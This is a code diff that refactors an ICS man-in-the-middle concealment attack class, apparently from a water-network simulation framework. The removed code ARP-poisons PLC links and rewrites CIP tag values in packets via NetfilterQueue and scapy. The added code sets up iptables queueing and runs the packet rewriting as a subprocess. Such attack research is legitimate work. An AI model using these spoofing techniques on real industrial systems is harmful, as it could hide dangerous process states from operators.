11import argparse
22import os
3- import time
4- import traceback
53from pathlib import Path
6- import threading
74
8- from dhalsim .network_attacks .enip_cip_parser import cip
9-
10- from netfilterqueue import NetfilterQueue
11- from scapy .layers .inet import IP , TCP
12- from scapy .packet import Raw
13-
14- from dhalsim .network_attacks .utilities import launch_arp_poison , restore_arp , \
15- translate_payload_to_float , translate_float_to_payload , get_mac , spoof_arp_cache
5+ from dhalsim .network_attacks .utilities import launch_arp_poison , restore_arp
166from dhalsim .network_attacks .synced_attack import SyncedAttack
177
18- nfqueue = NetfilterQueue ()
8+ import subprocess
9+ import sys
10+ import signal
1911
2012
21- import _thread
22-
2313class Error (Exception ):
2414 """Base class for exceptions in this module."""
2515
2616
2717class DirectionError (Error ):
2818 """Raised when the optional parameter direction does not have source or destination as value"""
2919
30- class ConcealmentAttack (SyncedAttack ):
31- """
32- This is a Naive Man In The Middle attack. This attack will modify
33- the data that is passed around in tcp packets on the network, in order to
34- change the values of tags before they reach the requesting PLC.
35-
36- It does this by capturing the responses of the the target plc, and changing
37- some bytes in the TCP packet so that the value is a different value.
38-
39- When preforming this attack, you can use either an offset, or an absolute value.
4020
41- When using this type of attack, all the responses of the PLC are modified.
42- You cannot modify the values of individual tags.
21+ class ConcealmentMiTMAttack (SyncedAttack ):
22+ """
23+ todo
4324
4425 :param intermediate_yaml_path: The path to the intermediate YAML file
4526 :param yaml_index: The index of the attack in the intermediate YAML
4627 """
4728
48- ARP_POISON_PERIOD = 15
49- """Period in seconds of arp poison"""
50-
51-
5229 def __init__ (self , intermediate_yaml_path : Path , yaml_index : int ):
5330 super ().__init__ (intermediate_yaml_path , yaml_index )
5431 os .system ('sysctl net.ipv4.ip_forward=1' )
55- self .queue = None
56- self .q = None
57- self .thread = None
58- self .run_thread = False
59- self .attacked_tag = self .intermediate_attack ['tag' ]
6032
61- # The session id is used to pair CIP requests (with the tag name), with their responses (with the tag value)
62- self .session_id = 0
33+ # Process object to handle nfqueue
34+ self .nfqueue_process = None
35+
6336
6437 def setup (self ):
6538 """
@@ -74,113 +47,23 @@ def setup(self):
7447
7548 Finally, it launches the thread that will examine all captured packets.
7649 """
77- #os.system(f'iptables -t mangle -A FORWARD -p tcp -d {self.target_plc_ip} -j NFQUEUE --queue-num 1')
78- os .system (f'iptables -t mangle -A FORWARD -p tcp -j NFQUEUE --queue-num 1' )
79-
80-
81- os .system ('iptables -A FORWARD -p icmp -j DROP' )
82- os .system ('iptables -A INPUT -p icmp -j DROP' )
83- os .system ('iptables -A OUTPUT -p icmp -j DROP' )
50+ self .modify_ip_tables (True )
8451
85- self .logger .info (f"NFqueue Bound periodic ARP Poison between { self .target_plc_ip } and "
86- f"{ self .intermediate_attack ['gateway_ip' ]} " )
8752 # Launch the ARP poison by sending the required ARP network packets
88- self .launch_mitm (get_macs = True )
89- self .logger .info (f"Configured ARP Poison between { self .target_plc_ip } and "
90- f"{ self .intermediate_attack ['gateway_ip' ]} " )
91-
92- self .logger .debug ('Tag being attacked: ' + str (self .attacked_tag ))
93-
94- nfqueue .bind (0 , self .capture )
95- nfqueue .run (block = False )
96-
97- # Refresh ARP poison
98- #_thread.start_new_thread(self.refresh_poison, (self.ARP_POISON_PERIOD, self.ARP_POISON_PERIOD))
99-
100- def refresh_poison (self , period , delay ):
101- time .sleep (delay )
102- while self .run_thread :
103- self .launch_mitm (get_macs = False )
104- time .sleep (period )
105-
106- def launch_mitm (self , get_macs = False ):
53+ launch_arp_poison (self .target_plc_ip , self .intermediate_attack ['gateway_ip' ])
10754 if self .intermediate_yaml ['network_topology_type' ] == "simple" :
10855 for plc in self .intermediate_yaml ['plcs' ]:
10956 if plc ['name' ] != self .intermediate_plc ['name' ]:
57+ launch_arp_poison (self .target_plc_ip , plc ['local_ip' ])
11058
111- if get_macs :
112- self .mac_target_source = get_mac (self .target_plc_ip )
113- self .mac_target_destination = get_mac (plc ['local_ip' ])
114-
115- spoof_arp_cache (self .target_plc_ip , self .mac_target_source , plc ['local_ip' ])
116- spoof_arp_cache (plc ['local_ip' ], self .mac_target_destination , self .target_plc_ip )
117-
118- else :
119- if get_macs :
120- self .mac_target_source = get_mac (self .target_plc_ip )
121- self .mac_target_destination = get_mac (self .intermediate_attack ['gateway_ip' ])
122-
123- spoof_arp_cache (self .target_plc_ip , self .mac_target_source , self .intermediate_attack ['gateway_ip' ])
124- spoof_arp_cache (self .intermediate_attack ['gateway_ip' ], self .mac_target_destination , self .target_plc_ip )
125-
126- self .logger .info (f"ARP Poison between { self .target_plc_ip } and "
59+ self .logger .debug (f"Concealment MITM Attack ARP Poison between { self .target_plc_ip } and "
12760 f"{ self .intermediate_attack ['gateway_ip' ]} " )
12861
129- def capture ( self , packet ):
130- "" "
131- This function is the function that will run in the thread started in the setup function.
62+ queue_number = 1
63+ nfqueue_path = Path ( __file__ ). parent . absolute () / "concealment_netfilter_queue.py "
64+ cmd = [ "python3" , str ( nfqueue_path ), str ( self . intermediate_yaml_path ), str ( self . yaml_index ), str ( queue_number )]
13265
133- For every packet that enters the netfilterqueue, it will check its length. If the length is
134- in between 100 and 116, we are dealing with a CIP packet. We then change the payload of that
135- packet and delete the original checksum.
136- """
137- while self .run_thread :
138- try :
139- p = IP (packet .payload )
140- #self.logger.debug('packet')
141- #self.logger.debug(p.show())
142- if 'ENIP_SendRRData' in p :
143- # This type of packet carries the tag name
144- #self.logger.debug('ENIP_SendRRData')
145- #self.logger.debug(p.show())
146- if 'CIP_ReqConnectionManager' in p :
147- tag_name = p [Raw ].load .decode (encoding = 'latin-1' ).split (':' )[0 ][8 :]
148- self .logger .debug ('ENIP TCP Session ID: ' + str (p ['ENIP_TCP' ].session ))
149- self .logger .debug ('Received tag: ' + tag_name )
150-
151- if self .attacked_tag == tag_name :
152- self .logger .debug ('Modifying tag: ' + str (tag_name ))
153- self .session_id = p ['ENIP_TCP' ].session
154-
155- else :
156- this_session = p ['ENIP_TCP' ].session
157- if self .session_id == this_session :
158- value = translate_payload_to_float (p [Raw ].load )
159- self .logger .debug ('tag value is:' + str (value ))
160- self .logger .debug ('Tag ' + self .attacked_tag + ' is going to be modified' )
161-
162- if 'value' in self .intermediate_attack .keys ():
163- p [Raw ].load = translate_float_to_payload (
164- self .intermediate_attack ['value' ], p [Raw ].load )
165- elif 'offset' in self .intermediate_attack .keys ():
166- self .logger .debug ('Offsetting value' )
167- p [Raw ].load = translate_float_to_payload (
168- translate_payload_to_float (p [Raw ].load ) + self .intermediate_attack [
169- 'offset' ], p [Raw ].load )
170-
171- self .logger .debug \
172- ('New payload tag value is: ' + str (translate_payload_to_float (p [Raw ].load )))
173-
174- del p [TCP ].chksum
175- del p [IP ].chksum
176-
177- packet .set_payload (bytes (p ))
178- self .logger .debug (f"Value of network packet for { p [IP ].dst } overwritten." )
179-
180- packet .accept ()
181- except Exception as exc :
182- print ("Exception in a MITM attack!:" , exc )
183- print (traceback .format_exc ())
66+ self .nfqueue_process = subprocess .Popen (cmd , shell = False , stderr = sys .stderr , stdout = sys .stdout )
18467
18568 def interrupt (self ):
18669 """
@@ -203,26 +86,43 @@ def teardown(self):
20386 if plc ['name' ] != self .intermediate_plc ['name' ]:
20487 restore_arp (self .target_plc_ip , plc ['local_ip' ])
20588
206- self .logger .debug (f"Naive MITM Attack ARP Restore between { self .target_plc_ip } and "
89+ self .logger .debug (f"MITM Attack ARP Restore between { self .target_plc_ip } and "
20790 f"{ self .intermediate_attack ['gateway_ip' ]} " )
20891
209- os .system (
210- f'iptables -t mangle -D FORWARD -p tcp -j NFQUEUE --queue-num 1' )
211-
212- os .system ('iptables -D FORWARD -p icmp -j DROP' )
213- os .system ('iptables -D INPUT -p icmp -j DROP' )
214- os .system ('iptables -D OUTPUT -p icmp -j DROP' )
92+ self .modify_ip_tables (False )
93+ self .logger .debug (f"Restored ARP" )
21594
216- self .run_thread = False
217- time .sleep (0.5 )
218- nfqueue .unbind ()
219- #self.thread.join()
95+ self .logger .debug ("Stopping nfqueue subprocess..." )
96+ self .nfqueue_process .send_signal (signal .SIGINT )
97+ self .nfqueue_process .wait ()
98+ if self .nfqueue_process .poll () is None :
99+ self .nfqueue_process .terminate ()
100+ if self .nfqueue_process .poll () is None :
101+ self .nfqueue_process .kill ()
220102
221103 def attack_step (self ):
222- """This function just passes, as there is no required action in an attack step. """
104+ """Polls the NetFilterQueue subprocess and sends a signal to stop it when teardown is called """
223105 pass
224106
225107
108+ @staticmethod
109+ def modify_ip_tables (append = True ):
110+
111+ if append :
112+ os .system (f'iptables -t mangle -A PREROUTING -p tcp -j NFQUEUE --queue-num 1' )
113+
114+ os .system ('iptables -A FORWARD -p icmp -j DROP' )
115+ os .system ('iptables -A INPUT -p icmp -j DROP' )
116+ os .system ('iptables -A OUTPUT -p icmp -j DROP' )
117+ else :
118+
119+ os .system (f'iptables -t mangle -D INPUT -p tcp -j NFQUEUE --queue-num 1' )
120+ os .system (f'iptables -t mangle -D FORWARD -p tcp -j NFQUEUE --queue-num 1' )
121+
122+ os .system ('iptables -D FORWARD -p icmp -j DROP' )
123+ os .system ('iptables -D INPUT -p icmp -j DROP' )
124+ os .system ('iptables -D OUTPUT -p icmp -j DROP' )
125+
226126def is_valid_file (parser_instance , arg ):
227127 """Verifies whether the intermediate yaml path is valid."""
228128 if not os .path .exists (arg ):
@@ -242,7 +142,7 @@ def is_valid_file(parser_instance, arg):
242142
243143 args = parser .parse_args ()
244144
245- attack = ConcealmentAttack (
145+ attack = ConcealmentMiTMAttack (
246146 intermediate_yaml_path = Path (args .intermediate_yaml ),
247147 yaml_index = args .index )
248148 attack .main_loop ()
0 commit comments